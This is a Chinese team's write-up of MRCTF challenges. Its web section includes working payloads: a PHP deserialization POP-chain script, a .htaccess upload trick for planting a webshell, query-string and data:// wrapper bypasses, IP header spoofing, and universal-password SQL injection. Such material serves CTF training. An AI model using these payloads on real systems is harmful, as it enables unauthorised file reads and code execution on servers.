天天看点

php substr 去掉前n位_MRCTF V&N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

天璇的CTF平台地址:http://ctf.merak.codes/

Ethereum

SimpleReveal

点那个合同号

https://ropsten.etherscan.io/tx/0x41879d535b36316269d30339de7129e7227366a6b41fc62fb18be6ea64e5dab3

然后点click to see more然后把那个input data decode as utf-8 出来了

Unwanted Coin

目标合约的余额为0.001eth的奇数倍时能够getflag,而合约只允许转偶数倍的钱,因此考虑自爆合约强制转账0.001即可getflag

pragma solidity ^0.4.18;contract Force {    function Force() payable{}    function ForceSendEther(address _addr) payable public{        selfdestruct(_addr);    }}
           

Web

ez_bypass

第一层数组绕过:

index.php?id[]=1&gg[]=2
           

第二层is_numeric()绕过:

POST: passwd=1234567%00
           

要注意在header中加上:

Content-Type: application/x-www-form-urlencoded
           

PYwebsite

源代码中得到js验证逻辑:

function enc(code){      hash = hex_md5(code);      return hash;    }    function validate(){      var code = document.getElementById("vcode").value;      if (code != ""){        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){          alert("您通过了验证!");          window.location = "./flag.php"        }else{          alert("你的授权码不正确!");        }      }else{        alert("请输入授权码");      }    }
           

访问flag.php得到提示:IP保存了。只有自己和购买者可以看到。

XFF头设置为127.0.0.1得到Flag

Ezpop

可以看到源码:

Welcome to index.phpphp//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){        $this->append($this->var);    }}class Show{    public $source;    public $str;    public function __construct($file='index.php'){        $this->source = $file;        echo 'Welcome to '.$this->source."
";    }    public function __toString(){        return $this->str->source;    }    public function __wakeup(){        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {            echo "hacker";            $this->source = "index.php";        }    }}class Test{    public $p;    public function __construct(){        $this->p = array();    }    public function __get($key){        $function = $this->p;        return $function();    }}if(isset($_GET['pop'])){    @unserialize($_GET['pop']);}else{    $a=new Show;    highlight_file(__FILE__);}
           

这是个反序列化QWQ

phpclass Modifier {    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';}class Show{    public $source;    public $str;}class Test{    public $p;}$r=new Modifier();$s=new Show();$t=new Test();$t->p=$r;$s->str=$t;$s->source=$s;echo urlencode(serialize($s));
           

wakeup方法->触发tostring->source属性不存在。触发Test类的get函数。-?>触发invoke函数->include(伪协议)

你传你?呢

判断出服务器是Apache,fuzz了一下:后端有验证,应该是不能上传含有ph的文件(原来做过一道原题)

考虑.htaccess来解析jpg图片,上传时注意抓包修改Content-Type: image/jpeg上传.htaccess,文件内容为:

"jpg">     SetHandler application/x-httpd-php
           

在上传一个含有一句话的jpg图片即可,flag在根目录下:

php substr 去掉前n位_MRCTF V&N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

套娃

第一层,Ctrl+U 查看源代码:

$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){    die('Y0u are So cutE!');} if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){    echo "you are going to the next ~";}
           

NCTF原题改编,构造Payload:

第一个if判断:php会把空格或者点(.)自动替换成下划线,可以用来绕过。

第二个if判断:数字后面加%0A绕过

Payload:

?b.u.p.t=23333%0A
           

得知第二层在:secrettw.php

打开查看源代码:JsFuck,解码之,弹窗:

php substr 去掉前n位_MRCTF V&N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

POST:Merak=1即可得到源码:

php  error_reporting(0);  include 'takeip.php'; ini_set('open_basedir','.');  include 'flag.php'; if(isset($_POST['Merak'])){      highlight_file(__FILE__);      die();  //这个死亡die()卡了我好久,一直没看这里}   //重点在这个加密函数上function change($v){      $v = base64_decode($v);      $re = '';      for($i=0;$i<strlen($v);$i++){          $re .= chr ( ord ($v[$i]) + $i*2 );      }    return $re;  } echo 'Local access only!'."
"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission!  Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>  
           

很明显只要我们利用data伪协议绕过对2333参数的验证:

data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
           

就能利用file读取到flag.php的值,但是提交的要是change()函数解码后的内容,写脚本吧,没啥说的:

php  function enc($payload){       for($i=0; $i<strlen($payload); $i++){        //原解密函数将chr(ord($v[$i])+$i*2)拼接在了最终返回值的后面        $re .= chr(ord($payload[$i])-$i*2);        }      return base64_encode($re);    }  echo enc('flag.php');  //flag.php加密后得到:ZmpdYSZmXGI=?>
           

去掉Merak,然后用上面的payload,Header中添加Client-ip: 127.0.0.1,即可获得Flag

Ezaudit

wwwzip源码泄露

大概看了一下,这段代码需要三个参数:

username(crispr)、 password(万能密码) 、 Private_key(私钥)只要能正确输入账号和密码(密码直接用万能密码就可以)以及私钥就可以获得Flag。但是需要公私密钥,这里的突破点是使用了mr_rand()伪随机数函数,并且题目最后给出了公钥,思路也就是利用公钥推算出私钥进行SQL注入。

根据公钥爆破出mt_rand()的种子:

seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)

写个脚本播撒种子,推 出私钥:

得到私钥,然后在login.html页面用万能密码登陆进去得到Flag

Ezpop_Revenge

wwwzip源码 泄露是个typecho

flag.php得是本地访问。并且将flag放在session中。估计是SSRF+SOAP

全局搜索unserialize。在/usr/plugins/HelloWorld/Plugin.php中发现了一段可控的反序列化

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

这里存在反序列化点。并且可以打印session

那么就得找。哪里调用了这个类中的action方法

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

看下这个addroute

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

此处的意思就是访问page_admin。

就会访问HelloWorld_Plugin类中的action方法那么post就可以触发反序列化。反序列化点找到了。开始构造POP链这个类中存在__wakeup。会自动触发。从这开始构造POP

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

进入Typecho_Db类中__construct魔术方法。会将传入的第一个参数。当成字符串拼接。那么势必会触发__toString魔术方法

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

找tostring。就三个。一个个看

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

在Query.php中的__toSting魔术方法。

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

由于Flag会赋值给对应的session。那么我们还得通过CRLF。来控制SOAP的session

下面贴Payload

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

Reverse

Transform

IDA64位载入,进入main函数看到有效代码

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

写脚本解密

撸啊撸

IDA64位载入,搜索字符串来到关键代码

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

乱七八糟的函数跟了半天没发现东西,后来觉得byte_140074B00很可疑,数了半天数啥也没干,双击跟进去,发现有另一个函数调用了此段代码,跟进去

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

SMC自修改代码用IDApython或者IDC写脚本来计算

转换成字符串

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

PixelShooter

dnspy打开dll。搜索字符串。

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

Algorithm

致敬OI

根据题意写出程序(后面修改了一下c++出答案):

但是时间复杂度太高,只能跑出前几组数据:

然后出题人说一组是两个字符,猜测是ascii,python:

跑出来是:

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

最新思路:一个利用数据的点 就是能够装箱的经验书,每堆的个数不会很多

需要以 n/K 作为阈值,对于小于 n/K 的就去 DP,大于 n/K 的就利用到枚举和划分数。

Misc

pyflag

每个图片尾部有zip的一部分,提取出来,跑一下密码为1234,然后是个base套娃,16,32,64,85看看解一下

寻找XXX

用dtmf检测一下得到18684221609

找到出题人公众号”天璇Merak“关注,然后把号码发过去

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

CyberPunk

下载下来是个exe文件,改系统时间 修改电脑时间为指定日期即可

ezmisc

高度问题,使用脚本算出高度,就能看到图片露出flag

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

MRCTF{1ts_vEryyyyyy_ez!}

A Signal From ISS

SSTV,直接粗来

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

merak{r3ce1ved_4n_img}

Unravel

strings wav 有个aes加密,扫一下图片有个压缩包里面图片写了Tokyo,然后AESdecode出来是压缩包密码,压缩包里有个wav,用slienteye扫一下flag

binwalk JM.png得到一个压缩包。里面有一张aes.png。内容是Tokyo。是aes加密的密钥strings wav得到一串AES密文。用上面的密钥解密。得到CCGandGulu将这个作为密码解压win-win.zip得到Ending.wav拖入slienteye得到flag

千层套路

扫码得到Flag

不眠之夜

先写个脚本协助拼图

有辅助还拼了一个小时,以后再也不做拼图了=-=

手拼20分钟出结果

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

用gaps拼图,先将120张小图合并成一张大图,可以用montage命令实现

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

得到这样一张图片,之后再用gaps跑一下就能还原整个拼图

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

你能看懂音符吗

♭♯♪‖¶♬♭♭♪♭‖‖♭♭♬‖♫♪‖♩♬‖♬♬♭♭♫‖♩♫‖♬♪♭♭♭‖¶∮‖‖‖‖♩♬‖♬♪‖♩♫♭♭♭♭♭§‖♩♩♭♭♫♭♭♭‖♬♭‖¶§♭♭♯‖♫∮‖♬¶‖¶∮‖♬♫‖♫♬‖♫♫§=

https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue音符解密

Hello-Misc

binwalk抽出一个包图片前n行抽数据红色1蓝色0,然后出来一个图片

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

根据密码解压抽出来的压缩包,是个txt,

按大小转4进制,hexify,出来rar的密码,解压出来是个docx,然后有一段白色字体base64

然后decode,出来之后化成一张图片

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

然后就出来啦(注意是He1Lo_mi5c~) (居然是5!!!

Crypto

keyboard

手机九键字母排序,按三下意思就是最后一个字母

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

得到Flag: MRCTF{mobilephone}

古典密码知多少

猪圈。圣堂武士。银河密码

得到结果栅栏解密

MRCTF{CRYPTOFUN}

Vigenere

https://www.guballa.de/vigenere-solver弗吉尼亚密码,直接爆破

天干地支+甲子

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

得到的每个数字+1甲子的时间(60)然后用ascii转得到goodjob

MRCTF{goodjob}

easyrsa

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

接下来正常rsa

babyrsa

baby题居然比easy题简单!

题目中,gen_p是getPrime(128)后,在它后面找了连续的17个质数,并且告诉了我们第9个,显然这是很容易得到剩下16个,然后给了powmod(p , 65537,n),n是17个质数的乘积,求出phi以后求逆元即可exp:

q就是白给,直接求个逆就能算

real random

题目告诉了M与D,猜对flag_part是哪一个就给flag的一字节。

先分析random那个函数,将M分解,可以得到p,q(p与q是getPrime(6),总共只有8种可能,很容易分解),用p与q能够算出m和b

但是c不知道,因此推测对于不同的c,也许会有一个共同的周期,或是周期有一个固定的公倍数

php substr 去掉前n位_MRCTF V&amp;amp;N大一小分队writeupEthereumWebReverseAlgorithmMiscCryptoPwn

img

因此每进行m次操作,就会回到初始值,random[0]是进行了2**d次操作的,因此只要发 m - (2 ** d % m)即可

Pwn

Easy_equation

solve to get judge = 2 溢出即可,不需绕过判断

easyoverflow

保护全开,这一点都不easy

需要保证栈中rbp - 30h to rbp - 40h is covered by [email protected][email protected] is stored in rbp - 70h

exp:

shellcode

再不能更简单了

spfa

这题反编译出来发现就是一个spfa,有加边、求最短路、get flag三个操作;

get flag 的条件是队列中置入超过 1000 个数,但是要求加入点数只能是 0 ~ 29,那么从权值入手,发现权值可以等于 0,spfa 中加点条件也写的大于等于。那么只要加入四条边:0 1 0, 0 2 0, 1 2 0, 2 1 0 形成死循环即可。

shellcode-revenge

64位可见字符shellcode地址在rax

为了能够f5,可以先把调用shellcode的代码patch掉

到网上找一个现成的payload

发现为了保证不read到换行,需要填充,填充符还有讲究,原shellcode会执行一部分填充字符,因此需要保证填充字符可执行且栈平衡,选取QY填充即可(push rcx,pop rcx)

这payload看得我密恐都犯了=-=

nothing but everythin

使用ropgadget工具生成ROP链,从入口点调用函数的参数可以找到main函数的位置,从而确定溢出点

exp: